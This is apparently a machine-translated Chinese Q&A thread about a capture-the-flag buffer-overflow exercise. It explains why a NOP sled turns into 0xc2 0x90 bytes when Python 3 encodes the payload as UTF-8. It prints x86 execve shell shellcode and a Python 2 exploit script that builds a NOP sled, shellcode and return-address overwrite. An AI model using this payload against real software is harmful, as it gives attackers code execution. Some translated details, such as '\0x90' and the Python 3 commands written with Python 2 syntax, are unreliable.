如何修復GDB可能的字符集問題NOP 0x90在內存中轉換爲0x90c2？

Question

我在使用gdb-peda在kali linux上處理挑戰和利用可執行文件時遇到了一個奇怪的問題。

#>gdb -q someVulnerableBinary 
gdb-peda$ python 
>shellcode=(
>"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" 
>) 
>end 
gdb-peda$ pset arg '"\x90"*(76-len(shellcode)) + shellcode + "\x08\x04\xb4\x10"[::-1] + "C"*10' 
gdb-peda$ r 
Starting program: /home/theDude/Downloads/tmp/someVulnerableBinary 'j 
          XRh//shh/binã1ÉÍ°CCCCCCCCCC' 
j 
                 XRh//shh/binã1ÉÍ°CCCCCCCCCC 

Program received signal SIGSEGV, Segmentation fault. 

[----------------------------------registers-----------------------------------] 
EAX: 0x804b410 --> 0x90c290c2 
EBX: 0x0 
ECX: 0x0 
EDX: 0x99 
ESI: 0x2 
EDI: 0xf7faf000 --> 0x1b2db0 
EBP: 0x90c290c2 
ESP: 0xffffda00 --> 0x90c290c2 
EIP: 0x90c290c2 
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 
[-------------------------------------code-------------------------------------] 
Invalid $PC address: 0x90c290c2 
[------------------------------------stack-------------------------------------] 
0000| 0xffffda00 --> 0x90c290c2 
0004| 0xffffda04 --> 0x90c290c2 
0008| 0xffffda08 --> 0x90c290c2 
0012| 0xffffda0c --> 0x90c290c2 
0016| 0xffffda10 --> 0x90c290c2 
0020| 0xffffda14 --> 0x90c290c2 
0024| 0xffffda18 --> 0x90c290c2 
0028| 0xffffda1c --> 0xb6a90c2 
[------------------------------------------------------------------------------] 
Legend: code, data, rodata, value 
Stopped reason: SIGSEGV 
0x90c290c2 in ??() 
gdb-peda$ 
gdb-peda$ i r $eax 
eax   0x804b410 0x804b410 
gdb-peda$ x/20x $eax 
0x804b410: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2 
0x804b420: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2 
0x804b430: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2 
0x804b440: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2 
0x804b450: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2 
gdb-peda$ show charset 
The host character set is "auto; currently UTF-8". 
The target character set is "auto; currently UTF-8". 
The target wide character set is "auto; currently UTF-32". 

告訴我，如果你需要了解它的更多信息，但顯然從NOP \ X90在內存中的翻譯作出\ x90c2在內存中。我無法弄清楚爲什麼或者即使它是字符集，以及目前如何改變它。除此之外，我現在無法通過谷歌或計算器找到類似的東西。

我感謝您的幫助，我已經感謝您的建議和幫助。

Answer 1

我今天在面對挑戰時遇到同樣的問題。我沒有使用gdb-peta，只是普通的gdb，但this post幫助了我。基本上\ x90c2是UTF-8字符U+0090的十六進制編碼。對我來說，我遇到了這個問題，因爲我安裝了Python 2和Python 3，Python 2將字符串視爲字節數組，Python 3將它們視爲UTF-8編碼字符的數組。作爲一種解決方案，請在撥打pset arg時嘗試使用格式，例如b"\0x90"而不是"\0x90"。如果gdb-peta沒有讓你這樣做，那麼你可以通過到Python 2中的呼叫和管道它打印輸入字符串

這給了我\在棧上x90c2：

$ python3 -c "print '\x90',8" > input.txt 
$ gdb ./vuln-program 
(gdb) run arg1 < input.txt 

執行python2而不是讓我\ X90在棧上：

$ python2 -c "print '\x90',8" > input.txt 
$ gdb ./vuln-program 
(gdb) run arg1 < input.txt 

從理論上講，下面的也應該給我\ X90在棧上：

$ python3 -c "print b'\x90',8" > input.txt 
$ gdb ./vuln-program 
(gdb) run arg1 < input.txt 

實際上，最後一個輸入對我來說很不利，因爲在我的例子中，vuln-program正在尋找一個ASCII字符串，而不是字節作爲輸入。我認爲在寫入管道時，Python 2的print函數會將字節數組轉換爲字符串，所以目前我只使用Python 2編寫漏洞利用字符串。

在你的情況，我還沒有測試什麼是創造轉換爲UTF-8編碼，但python該呼叫建立shellcode至少會產生UTF-8字符，如果你正在運行的Python 3

也許另一張海報可以給你準確的語法來解決這個本地gdb。

Answer 2

經過漫長的休息後，我再次回到了這個挑戰。你的提示讓我走向正確的方向。

了一些研究之後，我發現這一點：

How to change the Python Interpreter that gdb uses?

而且我發現，廣發行正在使用python3，並有可能與python2，這將是一個解決辦法來解決這個重新編譯問題與人物混淆。

作爲一個更好的解決辦法，但是我使用的這個鏈接這裏的幫助：

Exploit development in Python 3

，做了以下解決方法（採用python2）：

$ cat exploit.py 

#!/bin/python2 

shellcode = "" 
shellcode += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" 
offset=1231 
nop = "\x90" 
padding = "C"*10 
eip = "\xff\xff\xff\xff"[::-1] 
buff = nop*(offset-len(shellcode)) + shellcode + eip + padding 
print buff 

$ ./someVulnerableBinary \`python2 exploit.py\` 

這對我來說工作得很好。